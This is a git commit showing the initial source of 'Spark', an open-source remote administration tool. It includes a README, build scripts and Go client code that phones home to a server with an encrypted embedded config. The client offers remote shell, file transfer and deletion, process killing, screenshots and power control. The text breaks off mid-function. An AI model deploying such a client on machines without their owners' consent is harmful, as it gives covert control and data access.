initial commit

This commit is contained in:
XZB
2022-03-16 16:26:28 +08:00
commit 740e33f3a1
73 changed files with 12937 additions and 0 deletions

4
.gitignore vendored Normal file
View File

@@ -0,0 +1,4 @@
/built
/.idea
/Config.json
node_modules/

25
LICENSE Normal file
View File

@@ -0,0 +1,25 @@
BSD 2-Clause License
Copyright (c) 2022, XZB-1248
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

123
README.md Normal file
View File

@@ -0,0 +1,123 @@
<h1 align="center">Spark</h1>
**Spark** is a free, safe, open-source, web-based, cross-platform and full-featured RAT (Remote Administration Tool) that allow you control all your devices via browser anywhere.
---
## **Quick start**
Only local installation are available yet.
<details>
<summary>Local installation:</summary>
* Get prebuilt executable file from [Releases](https://github.com/XZB-1248/Spark/releases) page.
* Modify configuration file and set your own salt.
```json
{
"listen": ":8000",
"salt": "some random string",
"auth": {
"username": "password"
}
}
```
* Run it and browser the address:port you've just set.
* Generate client online and execute it on your device.
* Now you can control your device.
</details>
---
## **Features**
| Feature/OS | Windows | Linux | MacOS |
|-----------------| ------- | ----- | ----- |
| Process manager | ✔ | ✔ | ✔ |
| Kill process | ✔ | ✔ | ✔ |
| File explorer | ✔ | ✔ | ✔ |
| File transfer | ✔ | ✔ | ✔ |
| Delete file | ✔ | ✔ | ✔ |
| OS info | ✔ | ✔ | ✔ |
| Shell | ✔ | ✔ | ✔ |
| Screenshot | ✔ | ✔ | ✔ |
| Shutdown | ✔ | ✔ | ❌ |
| Reboot | ✔ | ✔ | ❌ |
| Hibernate | ✔ | --- | ❌ |
| Sleep | ✔ | --- | ❌ |
| Log off | ✔ | ❌ | ❌ |
| Lock screen | ✔ | ❌ | ❌ |
* Blank cell means the situation is not tested yet.
---
## **Development**
### note
There are three components in this project, so you have to build them all.
Go to [Quick start](#quick-start) if you don't want to make yourself boring.
* Client
* Server
* Front-end
If you want to make client support OS except linux and windows, you should install some additional C compiler.
For example, to support android, you have to install [Android NDK](https://developer.android.com/ndk/downloads).
### tutorial
```bash
# Clone this repository
$ git clone https://github.com/XZB-1248/Spark
$ cd ./Spark-master
# Here we're going to build front-end pages.
$ cd ./web
# Install all dependencies and build.
$ npm install
$ npm run build-prod
# Embed all static resouces into one single file by using statik.
$ cd ..
$ go install github.com/rakyll/statik
$ statik -m -src="./web/dist" -f -dest="./server/embed" -p web -ns web
# Now we should build client.
$ mkdir ./built
# Use this when you're using windows.
$ ./build.client.bat
# When you're using unix-like OS, you can use this.
$ ./build.client.sh
# Finally we're compiling the server side.
$ go build -ldflags "-s -w" -o Spark Spark/Server
```
---
## Screenshots
![overview](./screenshots/overview.png)
![terminal](./screenshots/terminal.png)
![procmgr](./screenshots/procmgr.png)
![explorer](./screenshots/explorer.png)
---
## License
[MPL-2.0 License](./LICENSE)

56
build.client.bat Normal file
View File

@@ -0,0 +1,56 @@
set GO111MODULE=auto
set GOOS=linux
set GOARCH=arm
go build -ldflags "-s -w" -o ./built/linux_arm Spark/Client
set GOARCH=arm64
go build -ldflags "-s -w" -o ./built/linux_arm64 Spark/Client
set GOARCH=386
go build -ldflags "-s -w" -o ./built/linux_i386 Spark/Client
set GOARCH=amd64
go build -ldflags "-s -w" -o ./built/linux_amd64 Spark/Client
set GOOS=windows
set GOARCH=arm
go build -ldflags "-s -w" -o ./built/windows_arm Spark/Client
set GOARCH=arm64
go build -ldflags "-s -w" -o ./built/windows_arm64 Spark/Client
set GOARCH=386
go build -ldflags "-s -w" -o ./built/windows_i386 Spark/Client
set GOARCH=amd64
go build -ldflags "-s -w" -o ./built/windows_amd64 Spark/Client
@REM set GOOS=android
@REM set CGO_ENABLED=1
@REM set GOARCH=arm
@REM set CC=armv7a-linux-androideabi21-clang
@REM set CXX=armv7a-linux-androideabi21-clang++
@REM go build -ldflags "-s -w" -o ./built/android_armv7a Spark/Client
@REM set GOARCH=arm64
@REM set CC=aarch64-linux-android21-clang
@REM set CXX=aarch64-linux-android21-clang++
@REM go build -ldflags "-s -w" -o ./built/android_aarch64 Spark/Client
@REM set GOARCH=386
@REM set CC=i686-linux-android21-clang
@REM set CXX=i686-linux-android21-clang++
@REM go build -ldflags "-s -w" -o ./built/android_i686 Spark/Client
@REM set GOARCH=amd64
@REM set CC=x86_64-linux-android21-clang
@REM set CXX=x86_64-linux-android21-clang++
@REM go build -ldflags "-s -w" -o ./built/android_x86_64 Spark/Client
statik -m -src="./built" -f -dest="./server/embed" -include=* -p built -ns built

56
build.client.sh Normal file
View File

@@ -0,0 +1,56 @@
export GO111MODULE=auto
export GOOS=linux
export GOARCH=arm
go build -ldflags "-s -w" -o ./built/linux_arm Spark/Client
export GOARCH=arm64
go build -ldflags "-s -w" -o ./built/linux_arm64 Spark/Client
export GOARCH=386
go build -ldflags "-s -w" -o ./built/linux_i386 Spark/Client
export GOARCH=amd64
go build -ldflags "-s -w" -o ./built/linux_amd64 Spark/Client
export GOOS=windows
export GOARCH=arm
go build -ldflags "-s -w" -o ./built/windows_arm Spark/Client
export GOARCH=arm64
go build -ldflags "-s -w" -o ./built/windows_arm64 Spark/Client
export GOARCH=386
go build -ldflags "-s -w" -o ./built/windows_i386 Spark/Client
export GOARCH=amd64
go build -ldflags "-s -w" -o ./built/windows_amd64 Spark/Client
# export GOOS=android
# export CGO_ENABLED=1
# export GOARCH=arm
# export CC=armv7a-linux-androideabi21-clang
# export CXX=armv7a-linux-androideabi21-clang++
# go build -ldflags "-s -w" -o ./built/android_armv7a Spark/Client
# export GOARCH=arm64
# export CC=aarch64-linux-android21-clang
# export CXX=aarch64-linux-android21-clang++
# go build -ldflags "-s -w" -o ./built/android_aarch64 Spark/Client
# export GOARCH=386
# export CC=i686-linux-android21-clang
# export CXX=i686-linux-android21-clang++
# go build -ldflags "-s -w" -o ./built/android_i686 Spark/Client
# export GOARCH=amd64
# export CC=x86_64-linux-android21-clang
# export CXX=x86_64-linux-android21-clang++
# go build -ldflags "-s -w" -o ./built/android_x86_64 Spark/Client
statik -m -src="./built" -f -dest="./server/embed" -include=* -p built -ns built

5
build.server.bat Normal file
View File

@@ -0,0 +1,5 @@
set GOOS=linux
set GOARCH=amd64
statik -m -src="./web/dist" -f -dest="./server/embed" -p web -ns web
go build -ldflags "-s -w" -o Spark Spark/Server
@REM D:\TinyTools\UPX.exe -9 -v D:\WorkSpace\Web\Lab\Spark\Spark

73
client/client.go Normal file
View File

@@ -0,0 +1,73 @@
package main
import (
"Spark/client/config"
"Spark/client/core"
"Spark/utils"
"bytes"
"crypto/aes"
"crypto/cipher"
"math/big"
"os"
"strings"
"github.com/kataras/golog"
)
// localhost
var cfgBuffer = "\x00\xcd\x90\x50\x43\xfc\x3d\x36\x56\x6d\xf6\x01\xd1\xcd\x81\xc3\x1b\x80\xc9\x61\xd8\xdf\x5b\x76\x48\x88\xc5\xb1\x74\x22\x23\xab\x3b\xfc\x8b\xbe\x98\x27\xed\x05\xec\xbb\x40\x4f\xe9\xe7\xe5\xe0\x84\xaa\xb7\xfd\x4a\x30\x71\x08\x6c\x02\x50\xe9\xc5\x22\xcf\xcb\x89\x16\x0a\x89\x08\xd4\x26\xdc\x5c\xc1\xc9\xbf\xc4\xac\x0d\x92\x2f\x34\x7f\x45\xeb\x55\xa0\x6d\xf6\x64\xbc\xd5\x15\x40\x96\x43\x64\xe0\x24\x51\xfb\xe8\xc9\x7f\x48\x60\xcd\x30\x5e\x5e\x78\xba\xb6\x6f\x07\x64\xe8\x59\x81\x0b\x91\x13\x92\x1a\xdd\x49\x8f\x28\xe7\x74\xea\xff\x5b\x45\x0e\x4a\x2d\x60\x4e\xc9\xde\x9c\xbe\x50\xc6\x12\xc7\x45\xa2\x15\xa0\x58\x62\x45\x86\x74\x9f\xa5\x14\x5c\x17\x8a\xcc\x56\x73\xa7\x75\xb7\xf6\x6d\x52\x0f\xb8\xc1\xff\x9c\x39\x39\x00\x74\xe1\x4d\x65\x73\x9c\x02\x57\x8b\xcf\xdf\x0a\x20\x4c\xed\xe2\x25\xea\x01\x36\x12\x37\x12\x2e\x1a\x03\x41\x19\x2e\xc9\xdd\x71\xac\x73\x90\xfa\x5e\x60\x08\x43\x35\xef\x61\x45\xf9\xe3\xba\xcb\xb1\xc5\x7c\xf0\x11\xcd\x47\x57\x53\xdc\x35\x6b\x9f\xac\xad\x43\x4a\xc7\x54\x20\xb8\xd0\xf8\xb5\x0c\x45\x76\x57\xb9\xee\x4a\x3f\xd2\xda\xf7\x94\x54\x74\xf3\x91\xf3\x4d\x49\x98\xc6\xf8\x60\x80\xad\x84\x04\xef\x35\xca\x3a\xcf\xd3\x7e\x74\xc2\x4b\xb8\xb3\x9f\xb2\x83\xb8\xbd\x29\x13\x9f\x2b\xaa\x60\x47\x24\x7e\x20\xb2\x85\xdc\x47\xfe\x8f\x68\xb6\xc3\x43\xad\x61\x3d\x9b\x35\x60\x2e\x6c\x44\xf0\xaf\xb2\xf3\xdb\xe2\x1b\x8a\xec\x0a\x48\x5e\x43\xa9\xb3\x3a\x5e\xb6\x90\xa9\x3d\xee\x4f\xa1\x57\x7c\x94\xf4\xb1\x36\xda\x04\xa8\x5e\x48\x2a\xc3\xa1\xf0\x97\xf0\xe0\x10\x46\x32\x10\xe5\xd8\x36\x5a\x56\xa5\xbb\x37\x3c\x9f\xbd\xef\xf5\x2f"
// none
//var cfgBuffer = "\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19"
func init() {
golog.SetTimeFormat(`2006/01/02 15:04:05`)
if len(strings.Trim(cfgBuffer, "\x19")) == 0 {
os.Exit(0)
return
}
dataLen := int(big.NewInt(0).SetBytes([]byte(cfgBuffer[:2])).Uint64())
if dataLen > len(cfgBuffer)-2 {
os.Exit(0)
return
}
cfgBytes := []byte(cfgBuffer[2 : 2+dataLen])
cfgBytes, err := decrypt(cfgBytes[16:], cfgBytes[:16])
if err != nil {
os.Exit(0)
return
}
err = utils.JSON.Unmarshal(cfgBytes, &config.Config)
if err != nil {
os.Exit(0)
return
}
if strings.HasSuffix(config.Config.Path, `/`) {
config.Config.Path = config.Config.Path[:len(config.Config.Path)-1]
}
}
func main() {
core.Start()
}
func decrypt(data []byte, key []byte) ([]byte, error) {
// MD5[16 bytes] + Data[n bytes]
dataLen := len(data)
if dataLen <= 16 {
return nil, utils.ErrEntityInvalid
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
stream := cipher.NewCTR(block, data[:16])
decBuffer := make([]byte, dataLen-16)
stream.XORKeyStream(decBuffer, data[16:])
hash, _ := utils.GetMD5(decBuffer)
if !bytes.Equal(hash, data[:16]) {
return nil, utils.ErrFailedVerification
}
return decBuffer[:dataLen-16], nil
}

59
client/common/common.go Normal file
View File

@@ -0,0 +1,59 @@
package common
import (
"Spark/client/config"
"Spark/modules"
"Spark/utils"
"encoding/hex"
ws "github.com/gorilla/websocket"
"github.com/imroc/req/v3"
"sync"
"time"
)
type Conn struct {
*ws.Conn
Secret []byte
}
var WSConn *Conn
var lock = sync.Mutex{}
func SendPack(pack interface{}, wsConn *Conn) error {
lock.Lock()
defer lock.Unlock()
data, err := utils.JSON.Marshal(pack)
if err != nil {
return err
}
data, err = utils.Encrypt(data, wsConn.Secret)
if err != nil {
return err
}
if len(data) > 1024 {
_, err = req.C().R().
SetBody(data).
SetHeader(`Secret`, hex.EncodeToString(wsConn.Secret)).
Send(`POST`, config.GetBaseURL(false)+`/ws`)
return err
}
wsConn.SetWriteDeadline(time.Now().Add(5 * time.Second))
defer wsConn.SetWriteDeadline(time.Time{})
return wsConn.WriteMessage(ws.BinaryMessage, data)
}
func SendCb(pack, prev modules.Packet, wsConn *Conn) error {
if prev.Data != nil {
trigger, ok := prev.Data[`event`]
if ok {
if pack.Data == nil {
pack.Data = map[string]interface{}{
`callback`: trigger,
}
} else {
pack.Data[`callback`] = trigger
}
}
}
return SendPack(pack, wsConn)
}

38
client/config/config.go Normal file
View File

@@ -0,0 +1,38 @@
package config
import (
"fmt"
"net/url"
)
type Cfg struct {
Secure bool `json:"secure"`
Host string `json:"host"`
Port int `json:"port"`
Path string `json:"path"`
UUID string `json:"uuid"`
Key string `json:"key"`
}
var Config Cfg
func GetBaseURL(ws bool) string {
baseUrl := url.URL{
Host: fmt.Sprintf(`%v:%v`, Config.Host, Config.Port),
Path: Config.Path,
}
if ws {
if Config.Secure {
baseUrl.Scheme = `wss`
} else {
baseUrl.Scheme = `ws`
}
} else {
if Config.Secure {
baseUrl.Scheme = `https`
} else {
baseUrl.Scheme = `http`
}
}
return baseUrl.String()
}

329
client/core/core.go Normal file
View File

@@ -0,0 +1,329 @@
package core
import (
"Spark/client/common"
"Spark/client/config"
"Spark/client/service/basic"
"Spark/client/service/file"
"Spark/client/service/process"
"Spark/client/service/screenshot"
"Spark/client/service/terminal"
"Spark/modules"
"Spark/utils"
"encoding/hex"
"errors"
ws "github.com/gorilla/websocket"
"github.com/kataras/golog"
"net/http"
"os"
"strconv"
"time"
)
var stop bool
var (
errNoSecretHeader = errors.New(`can not find secret header`)
)
func Start() {
for !stop {
var err error
common.WSConn, err = connectWS()
if err != nil && !stop {
golog.Error(err)
<-time.After(5 * time.Second)
continue
}
err = reportWS(common.WSConn)
if err != nil && !stop {
golog.Error(err)
<-time.After(5 * time.Second)
continue
}
go heartbeat(common.WSConn)
err = handleWS(common.WSConn)
if err != nil && !stop {
golog.Error(err)
<-time.After(5 * time.Second)
continue
}
}
}
func connectWS() (*common.Conn, error) {
wsConn, wsResp, err := ws.DefaultDialer.Dial(config.GetBaseURL(true)+`/ws`, http.Header{
`UUID`: []string{config.Config.UUID},
`Key`: []string{config.Config.Key},
})
if err != nil {
return nil, err
}
header, find := wsResp.Header[`Secret`]
if !find || len(header) == 0 {
return nil, errNoSecretHeader
}
secret, err := hex.DecodeString(header[0])
return &common.Conn{Conn: wsConn, Secret: secret}, nil
}
func reportWS(wsConn *common.Conn) error {
device, err := GetDevice()
if err != nil {
return err
}
pack := modules.CommonPack{Act: `report`, Data: device}
err = common.SendPack(pack, wsConn)
common.WSConn.SetWriteDeadline(time.Time{})
if err != nil {
return err
}
common.WSConn.SetReadDeadline(time.Now().Add(5 * time.Second))
_, data, err := common.WSConn.ReadMessage()
common.WSConn.SetReadDeadline(time.Time{})
if err != nil {
return err
}
data, err = utils.Decrypt(data, common.WSConn.Secret)
if err != nil {
return err
}
err = utils.JSON.Unmarshal(data, &pack)
if err != nil {
return err
}
if pack.Code != 0 {
return errors.New(`unknown error occurred`)
}
return nil
}
func handleWS(wsConn *common.Conn) error {
errCount := 0
for {
_, data, err := wsConn.ReadMessage()
if err != nil {
golog.Error(err)
wsConn.Close()
return nil
}
data, err = utils.Decrypt(data, wsConn.Secret)
if err != nil {
golog.Error(err)
errCount++
if errCount > 3 {
break
}
continue
}
pack := modules.Packet{}
utils.JSON.Unmarshal(data, &pack)
if err != nil {
golog.Error(err)
errCount++
if errCount > 3 {
break
}
continue
}
errCount = 0
if pack.Data == nil {
pack.Data = map[string]interface{}{}
}
go handleAct(pack, wsConn)
}
wsConn.Close()
return nil
}
func handleAct(pack modules.Packet, wsConn *common.Conn) {
switch pack.Act {
case `offline`:
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
stop = true
wsConn.Close()
os.Exit(0)
return
case `lock`:
err := basic.Lock()
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
}
case `logoff`:
err := basic.Logoff()
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
}
case `hibernate`:
err := basic.Hibernate()
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
}
case `suspend`:
err := basic.Suspend()
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
}
case `restart`:
err := basic.Restart()
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
}
case `shutdown`:
err := basic.Shutdown()
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
}
case `screenshot`:
if pack.Data != nil {
if trigger, ok := pack.Data[`event`]; ok {
screenshot.GetScreenshot(trigger.(string))
}
}
case `initTerminal`:
err := terminal.InitTerminal(pack)
if err != nil {
common.SendCb(modules.Packet{Act: `initTerminal`, Code: 1, Msg: err.Error()}, pack, wsConn)
}
break
case `inputTerminal`:
terminal.InputTerminal(pack)
break
case `killTerminal`:
terminal.KillTerminal(pack)
break
case `listFiles`:
path := `/`
if val, ok := pack.Data[`path`]; ok {
if path, ok = val.(string); !ok {
path = `/`
}
}
files, err := file.ListFiles(path)
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0, Data: map[string]interface{}{`files`: files}}, pack, wsConn)
}
case `removeFile`:
path, ok := pack.Data[`path`]
if !ok {
common.SendCb(modules.Packet{Code: 1, Msg: `can not find such a file or directory`}, pack, wsConn)
return
}
if path == `\` || path == `/` || len(path.(string)) == 0 {
common.SendCb(modules.Packet{Code: 1, Msg: `can not find such a file or directory`}, pack, wsConn)
return
}
err := os.RemoveAll(path.(string))
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
}
case `uploadFile`:
var path, trigger string
var start, end int64
{
tempVal, ok := pack.Data[`file`]
if !ok {
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
return
}
if path, ok = tempVal.(string); !ok {
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
return
}
tempVal, ok = pack.Data[`event`]
if !ok {
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
return
}
if trigger, ok = tempVal.(string); !ok {
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
return
}
tempVal, ok = pack.Data[`start`]
if ok {
if v, ok := tempVal.(float64); ok {
start = int64(v)
}
}
tempVal, ok = pack.Data[`end`]
if ok {
if v, ok := tempVal.(float64); ok {
end = int64(v)
if end > 0 {
end++
}
}
}
if end > 0 && end < start {
common.SendCb(modules.Packet{Code: 1, Msg: `文件范围错误`}, pack, wsConn)
return
}
}
err := file.UploadFile(path, trigger, start, end)
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
}
case `listProcesses`:
processes, err := process.ListProcesses()
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0, Data: map[string]interface{}{`processes`: processes}}, pack, wsConn)
}
case `killProcess`:
pidStr, ok := pack.Data[`pid`]
if !ok {
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
return
}
pid, err := strconv.ParseInt(pidStr.(string), 10, 32)
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
return
}
err = process.KillProcess(int32(pid))
if err != nil {
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
} else {
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
}
case `heartbeat`:
break
default:
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
}
return
}
func heartbeat(wsConn *common.Conn) error {
for range time.NewTicker(60 * time.Second).C {
device, err := GetDevice()
if err != nil {
golog.Error(err)
continue
}
err = common.SendPack(modules.CommonPack{Act: `setDevice`, Data: device}, wsConn)
if err != nil {
return err
}
}
return nil
}

163
client/core/device.go Normal file
View File

@@ -0,0 +1,163 @@
package core
import (
"Spark/modules"
"crypto/rand"
"encoding/hex"
"errors"
"github.com/denisbrodbeck/machineid"
"github.com/shirou/gopsutil/v3/cpu"
"github.com/shirou/gopsutil/v3/host"
"github.com/shirou/gopsutil/v3/mem"
"net"
"os"
"os/user"
"runtime"
"strings"
)
func isPrivateIP(ip net.IP) bool {
var privateIPBlocks []*net.IPNet
for _, cidr := range []string{
//"127.0.0.0/8", // IPv4 loopback
//"::1/128", // IPv6 loopback
//"fe80::/10", // IPv6 link-local
"10.0.0.0/8", // RFC1918
"172.16.0.0/12", // RFC1918
"192.168.0.0/16", // RFC1918
} {
_, block, _ := net.ParseCIDR(cidr)
privateIPBlocks = append(privateIPBlocks, block)
}
for _, block := range privateIPBlocks {
if block.Contains(ip) {
return true
}
}
return false
}
func GetCPUInfo() (string, error) {
info, err := cpu.Info()
if err != nil {
return ``, nil
}
if len(info) > 0 {
return info[0].ModelName, nil
}
return ``, errors.New(`failed to read cpu info`)
}
func GetLocalIP() (string, error) {
ifaces, err := net.Interfaces()
if err != nil {
return `Unknown`, err
}
for _, i := range ifaces {
addrs, err := i.Addrs()
if err != nil {
return `Unknown`, err
}
for _, addr := range addrs {
var ip net.IP
switch v := addr.(type) {
case *net.IPNet:
ip = v.IP
case *net.IPAddr:
ip = v.IP
}
if isPrivateIP(ip) {
if addr := ip.To4(); addr != nil {
return addr.String(), nil
} else if addr := ip.To16(); addr != nil {
return addr.String(), nil
}
}
}
}
return `Unknown`, errors.New(`no IP address found`)
}
func GetMacAddress() (string, error) {
interfaces, err := net.Interfaces()
if err != nil {
return ``, err
}
var address []string
for _, i := range interfaces {
a := i.HardwareAddr.String()
if a != `` {
address = append(address, a)
}
}
if len(address) == 0 {
return ``, nil
}
return strings.ToUpper(address[0]), nil
}
func GetMemSize() (uint64, error) {
memStat, err := mem.VirtualMemory()
if err != nil {
return 0, nil
}
return memStat.Total, nil
}
func GetDevice() (*modules.Device, error) {
id, err := machineid.ProtectedID(`Spark`)
if err != nil {
id, err = machineid.ID()
if err != nil {
secBuffer := make([]byte, 16)
rand.Reader.Read(secBuffer)
id = hex.EncodeToString(secBuffer)
}
}
cpuModel, err := GetCPUInfo()
if err != nil {
cpuModel = `unknown`
}
localIP, err := GetLocalIP()
if err != nil {
localIP = `unknown`
}
macAddr, err := GetMacAddress()
if err != nil {
macAddr = `unknown`
}
memSize, err := GetMemSize()
if err != nil {
memSize = 0
}
uptime, err := host.Uptime()
if err != nil {
uptime = 0
}
username, err := user.Current()
if err != nil {
username = &user.User{Username: `unknown`}
} else {
slashIndex := strings.Index(username.Username, `\`)
if slashIndex > -1 && slashIndex+1 < len(username.Username) {
username.Username = username.Username[slashIndex+1:]
}
}
hostname, err := os.Hostname()
if err != nil {
hostname = `unknown`
}
return &modules.Device{
ID: id,
OS: runtime.GOOS,
Arch: runtime.GOARCH,
CPU: cpuModel,
LAN: localIP,
Mac: macAddr,
Mem: memSize,
Uptime: uptime,
Hostname: hostname,
Username: username.Username,
}, nil
}

View File

@@ -0,0 +1,37 @@
// +build linux
package basic
import (
"errors"
"syscall"
)
func init() {
}
func Lock() error {
return errors.New(`the operation is not supported`)
}
func Logoff() error {
return errors.New(`the operation is not supported`)
}
func Hibernate() error {
_, _, err := syscall.Syscall(syscall.SYS_REBOOT, syscall.LINUX_REBOOT_CMD_HALT, 0, 0)
return err
}
func Suspend() error {
_, _, err := syscall.Syscall(syscall.SYS_REBOOT, syscall.LINUX_REBOOT_CMD_SW_SUSPEND, 0, 0)
return err
}
func Restart() error {
return syscall.Reboot(syscall.LINUX_REBOOT_CMD_RESTART)
}
func Shutdown() error {
return syscall.Reboot(syscall.LINUX_REBOOT_CMD_POWER_OFF)
}

View File

@@ -0,0 +1,33 @@
// +build !linux
// +build !windows
package basic
import "errors"
func init() {
}
func Lock() error {
return errors.New(`the operation is not supported`)
}
func Logoff() error {
return errors.New(`the operation is not supported`)
}
func Hibernate() error {
return errors.New(`the operation is not supported`)
}
func Suspend() error {
return errors.New(`the operation is not supported`)
}
func Restart() error {
return errors.New(`the operation is not supported`)
}
func Shutdown() error {
return errors.New(`the operation is not supported`)
}

View File

@@ -0,0 +1,143 @@
// +build windows
package basic
import (
"syscall"
"unsafe"
)
func init() {
privilege()
}
func privilege() error {
user32 := syscall.MustLoadDLL("user32")
defer user32.Release()
kernel32 := syscall.MustLoadDLL("kernel32")
defer user32.Release()
advapi32 := syscall.MustLoadDLL("advapi32")
defer advapi32.Release()
GetLastError := kernel32.MustFindProc("GetLastError")
GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess")
OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken")
LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW")
AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges")
currentProcess, _, _ := GetCurrentProcess.Call()
const tokenAdjustPrivileges = 0x0020
const tokenQuery = 0x0008
var hToken uintptr
result, _, err := OpenProdcessToken.Call(currentProcess, tokenAdjustPrivileges|tokenQuery, uintptr(unsafe.Pointer(&hToken)))
if result != 1 {
return err
}
const SeShutdownName = "SeShutdownPrivilege"
type Luid struct {
lowPart uint32 // DWORD
highPart int32 // long
}
type LuidAndAttributes struct {
luid Luid // LUID
attributes uint32 // DWORD
}
type TokenPrivileges struct {
privilegeCount uint32 // DWORD
privileges [1]LuidAndAttributes
}
var tkp TokenPrivileges
utf16ptr, err := syscall.UTF16PtrFromString(SeShutdownName)
if err != nil {
return err
}
result, _, err = LookupPrivilegeValue.Call(uintptr(0), uintptr(unsafe.Pointer(utf16ptr)), uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))))
if result != 1 {
return err
}
const SePrivilegeEnabled uint32 = 0x00000002
tkp.privilegeCount = 1
tkp.privileges[0].attributes = SePrivilegeEnabled
result, _, err = AdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tkp)), 0, uintptr(0), 0)
if result != 1 {
return err
}
result, _, _ = GetLastError.Call()
if result != 0 {
return err
}
return nil
}
func Lock() error {
dll := syscall.MustLoadDLL(`user32`)
_, _, err := dll.MustFindProc(`LockWorkStation`).Call()
dll.Release()
